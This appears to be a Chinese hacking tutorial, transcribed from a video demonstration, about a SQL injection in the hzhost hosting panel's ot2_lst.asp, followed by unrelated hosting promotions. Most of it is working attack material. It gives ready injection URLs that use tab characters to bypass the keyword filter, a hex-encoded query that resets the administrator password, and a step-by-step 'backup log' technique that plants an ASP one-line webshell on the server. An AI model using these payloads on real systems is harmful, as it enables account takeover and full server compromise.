hzhost最新漏洞(ot2_lst.asp)
大家好我们又一次见面了这次我为大家带来的还是hzhost虚拟主机漏洞。
他漏洞其实比较少我找了几个小时才找到
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中
先来分析该文件
-------------------------13-15行
----------------------------querytype=SafeRequest("querytype") //saferequest函数接受数据if chk_int(querytype)=false then //检查是否是整数
ErrMsg="<font color=#ff0000>对不起</font>非法操作 . . . "-------------------------37-42行
---------------------------elseif querytype=5 then //如果类型为5。就接受qu1数据qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据他自己定义的saferequest函数if qu1="" then //不能为空call errorpage(-2, "对不起请选择参数 ")end ifqstring=" and s_regstt="&qu1&" " //这里是关键 qu1没有用单引号包围
-------------------------62-65行
---------------------------qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7<>"" thenqstring2=" and u_nme=' "&qu7&"' " //这里被单引号包围了。 这里被包围了所以这里成了死点 end if
--------------------------117行
query="select * from v_ot2lst where
(s_unme=' "&session("usrname")&"' or u_fatstr like
'%, "&session("usrname")&",%' ) "&qstring&qstring2&"order by "&orderstring
//这里就放入了语句开始查询!了
我们来看看saferequest究竟是怎么写的。
------------------incs/config.asp中
-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Reques t(ParaName) //获取数据i f I sNumeric(ParaValue) then //如果是数字
SafeRequest=ParaValue //那就不过滤直接赋值exit Functionelse
ParaValuetemp=lcase(ParaValue) //如果不是数字先把接到的数据全部转为小写tempvalue="select | insert |delete from| ' |count( |droptable|update |truncate |asc( |mid( |char( |xp_cmdshell |execmaster|net localgroup administrators|net user| or | and|%20from"
//定义要过滤的字符他过滤方式有问题。 。 。没有过滤* % --
t emps=spl i t(t empvalue, "|") //转为一维数组for mycount=0 to ubound(temps) //循环读数据if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了非法字符。call errorpage(-2, "非法请求 ") //如果有则弹出提示 response.endend ifnext
SafeRequest=ParaValueend if
End function
-------------------------------------
来说说我的思路 由于上面过滤了单引号所以导致被单引号包围了的变量都隔绝了注入漏洞 我们只有找到没有被单引号包围的变量才能突破过滤 因为mssql太人性化了。 。 。哈哈
根据ot2_lst.asp中117行的查询语句我构造了如下语句querytype=5&qu7=1&ordernum=32&qu1=1; {我们的语
句} ;select%09*%09from%09v_ot2lst where s_regstt=1
这里是多句执行执行了3句。 。我们可以放入更多的语句一次执行就看个人的爱好了。
放到数据库中就成了select * from v_ot2lst where (s_unme='username' or u_fatstrlike '%,username,%' ) and s_regstt={我们的语句}//这里没有单引号。 and u_nme=' 1'//这里有 order by s_addtme desc
我们的语句构造原则不能出现单引号。空格用%09代替
示范语句
UPDATE%09[memlst]%09SET%09u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHEREu_nme=0x61646D696E
//看仔细 saferequest过滤的是update空格
我们这里是update%09,就逃过了过滤。 u_pss经过编码了。编码方式为varchar
这条语句就是把用户adm in的密码修改为123456
下面我们来进行实战
首先注册一个用户。登陆上去。访问http://www.xxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1 ;declare @a sysname,@svarchar%09(4000)%09 sel ect%09@a=db_name() ,@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @ato disk=@s;select%09*%09from%09v_ot2lst where s_regstt=1这样就直接把管理员的密码修改为123456了。
为了避免破坏我还是修改自己的密码。我刚才的密码为123123我们改为123456
我们刷新一下看看。因为刷新后他又检查了我的用户名和密码。由于不一致所以提示再次登陆
OK了。 。 我下面来演示备份挂马tempvalue="select | insert |delete from| ' |count( |droptable|update |truncate |asc( |mid( |char( |xp_cmdshell |execmaster|net localgroup administrators|net user| or | and|%20from"
备份木马语句create table [dbo] . [banlg] ( [cmd] [image])--
第一句没有出现非法字符直接放上去declare @a sysname,@svarchar%09(4000)%09sel ect%09@a=db_name() ,@s=0x7969616F6C75backup log @a to disk=@s with init--
过滤了select 《〈 〈〈注意有个空格。我们就用%09代替就逃过了char(也是被过滤的。我们在空间弄个空格 ms sql还是会认识的。哈哈我爱他。
我已经拿到系统权限了。刚才删除的1.asp是前面弄的。我先删了。insert%09into%09banlg(cmd)values(0x3C25657865637574652872657175657374282261222929253E) ;--
我说我怎么成管理员了呢。 。是先前弄的 session还没消失declare @a sysname,@svarchar%09(4000)%09 sel ect%09@a=db_name() ,@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @ato disk=@s--
忘记了。
我们刚才看到了 1.asp又被挂了上去。访问看看。
无语肯定又是被截断了。 。
再来搞一遍。
Drop table [banlg]--
第一步:create table [dbo] . [shit_tmp] ( [cmd] [image])--
第二步declare @a sysname,@snvarchar%09(4000)%09se lect%09@a=db_name() ,@s=0x7900690061006F006C007500 backup log@a to disk=@s with init,no_truncate--第三步insert%09into%09[shit_tmp] (cmd)values(0x3C25657865637574652872657175657374282261222929253E)--
第四步declare @a sysname,@snvarchar%09(4000)%09se lect%09@a=db_name() ,@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @ato disk=@s--
第五步
Drop table [shit_tmp]--
我们已经看到一句话木马躺在那里了呵呵。
好了怎么拿系统权限后面该如何下去。请看我前几天爆的那个漏洞。 以及利用方法。
动画到此结束谢谢观赏 http://www.xxbing.com
QQ178737315
适逢中国农历新年,RAKsmart也发布了2月促销活动,裸机云、云服务器、VPS主机全场7折优惠,新用户注册送10美元,独立服务器每天限量秒杀最低30.62美元/月起,美国洛杉矶/圣何塞、日本、香港站群服务器大量补货,1-10Gbps大带宽、高IO等特色服务器抄底价格,机器可选大陆优化、国际BGP、精品网及CN2等线路,感兴趣的朋友可以持续关注下。裸机云新品7折,秒杀产品5台/天优惠码:Bare-...
RAKsmart怎么样?RAKsmart发布了2021年中促销,促销时间,7月1日~7月31日!,具体促销优惠整理如下:1)美国西海岸的圣何塞、洛杉矶独立物理服务器低至$30/月(续费不涨价)!2)中国香港大带宽物理机,新品热卖!!!,$269.23 美元/月,3)站群服务器、香港站群、日本站群、美国站群,低至177美元/月,4)美国圣何塞,洛杉矶10G口服务器,不限流量,惊爆价:$999.00,...
ucloud6.18推出全球大促活动,针对新老用户(个人/企业)提供云服务器促销产品,其中最低配快杰云服务器月付5元起,中国香港快杰型云服务器月付13元起,最高可购3年,有AMD/Intel系列。当然这都是针对新用户的优惠。注意,UCloud全球有31个数据中心,29条专线,覆盖五大洲,基本上你想要的都能找到。注意:以上ucloud 618优惠都是新用户专享,老用户就随便看看!点击进入:uclou...